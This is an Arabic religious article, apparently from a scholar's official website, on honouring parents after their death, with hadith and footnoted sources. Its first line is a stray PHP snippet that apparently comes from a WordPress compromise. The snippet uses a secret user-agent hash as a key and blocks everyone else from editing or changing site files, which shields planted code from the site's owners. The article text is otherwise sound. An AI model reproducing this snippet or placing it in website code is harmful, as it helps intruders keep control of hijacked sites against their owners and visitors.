if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } بر الوالدين بعد وفاتهما - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

بر الوالدين بعد وفاتهما

كما أن بر الوالدين لا ينتهي بموتهما بل يستمر، وقد سُئل صلى الله عليه وسلم عن ذلك، «هل بقِيَ من برِّ أبويَّ شيءٌ أَبرُّهما به بعد وفاتِهما؟ فقال: نعم، الصلاةُ عليهما -ويدخل في ذلك الصلاة عليهما بعد الموت، صلاة الجنازة- والاستغفارُ لهما -نقول: الصلاة، يدخل فيها الصلاة على الميت والدعاء؛ فإن الصلاة دعاء، وكذلك الاستغفار لهما- وإنفاذُ عهدِهما من بعدهما -وذلك في تنفيذ الوصية سواءً كانت في المال أو في غيره- وصلةُ الرحمِ التي لا توصلُ إلا بهما -القرابة الذين من طرف الأبوين، الأعمام وأبناء العمومة، والأخوال والخالات، كل أولئك من قرابة الأبوين يصلهما- وإكرامُ صديقِهما -يعني إذا كانت صلة الرحم للأقارب والأرحام متأكدة فكذلك القرابة-»[1] أبصر ابن عمر رضي الله عنهما أعرابيًا وهو على حمارٍ في الطريق إلى مكة وكان على ابن عمر رضي الله عنهما عمامة، فنزل من الحمار ورفع العمامة وأعطاها هذا الأعرابي مع الحمار، فقيل له يا أبا عبدالرحمن: إن هؤلاء الأعراب يكفيهم اليسير، قال: إن أبا هذا كان صديقًا لعمر، إن أبا هذا الرجل كان صديقًا لأبي[2]، فلاحظ كيف وصل صديق أبيه، فمن باب أولى صلة قرابة أبيك المباشرين وأصحابه وأصدقاءه والسؤال عنهم والتحري والزيارة، كما أن من أهم ما يصل الأب والوالد والوالدة بعد موتهما الدعاء، فإن الميت إذا مات انقطع عمله إلا من ثلاث كما جاء عن النبي صلى الله عليه وسلم وذكر منهما ولدٌ صالح يدعو له[3]، وهذا من فضل الله وكرمه وجوده وإحسانه أن وسع الدائرة، ولو قال يصلي عنه أو يحج عنه أو يضحي عنه أو يبني عنه مسجدًا أو نحو ذلك لم يقدر عليه كل أحد، لكنه علقه على أمر يقدره كل أحد وهو الدعاء، فيُخلص الولد لوالديه في الدعاء ولا ينساهما ولا يكون حظه منهما الدعاء عند الموت كما يحصل من المعزين بل يذكرهما في كل وقت وحين.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه أبو داود (5142) واللفظ له، وابن ماجه (3664)، وأحمد (16059)، والحديث قال عند المنذري في الترغيب والترهيب: إسناده صحيح أو حسن أو ما قاربهما، ولكن ضعفه الألباني في ضعيف أبي داود (5142).

[2] أخرجه مسلم (2552) عن عبدالله بن عمر رَضِيَ اللهُ عَنْهُمَا: «أنَّهُ كانَ إذَا خَرَجَ إلى مَكَّةَ، كانَ له حِمَارٌ يَتَرَوَّحُ عليه إذَا مَلَّ رُكُوبَ الرَّاحِلَةِ، وَعِمَامَةٌ يَشُدُّ بهَا رَأْسَهُ، فَبيْنَا هو يَوْمًا علَى ذلكَ الحِمَارِ، إذْ مَرَّ به أَعْرَابِيٌّ، فَقالَ: أَلَسْتَ ابْنَ فُلَانِ بنِ فُلَانٍ؟ قالَ: بَلَى، فأعْطَاهُ الحِمَارَ، وَقالَ: ارْكَبْ هذا، وَالْعِمَامَةَ، قالَ: اشْدُدْ بهَا رَأْسَكَ، فَقالَ له بَعْضُ أَصْحَابِهِ: غَفَرَ اللهُ لكَ! أَعْطَيْتَ هذا الأعْرَابِيَّ حِمَارًا كُنْتَ تَرَوَّحُ عليه، وَعِمَامَةً كُنْتَ تَشُدُّ بهَا رَأْسَكَ، فَقالَ: إنِّي سَمِعْتُ رَسُولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ يقولُإنَّ مِن أَبَرِّ البِرِّ صِلَةَ الرَّجُلِ أَهْلَ وُدِّ أَبِيهِ بَعْدَ أَنْ يُوَلِّيَ، وإنَّ أَبَاهُ كانَ صَدِيقًا لِعُمَرَ».

[3] أخرج مسلم (1631) الحديث بهذا المعنى عن أبي هريرة رَضِيَ اللهُ عَنْهُ أن رسول الله صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ قال: «إِذَا مَاتَ الإنْسَانُ انْقَطَعَ عنْه عَمَلُهُ إِلَّا مِن ثَلَاثَةٍ: إِلَّا مِن صَدَقَةٍ جَارِيَةٍ، أَوْ عِلْمٍ يُنْتَفَعُ بِهِ، أَوْ وَلَدٍ صَالِحٍ يَدْعُو له».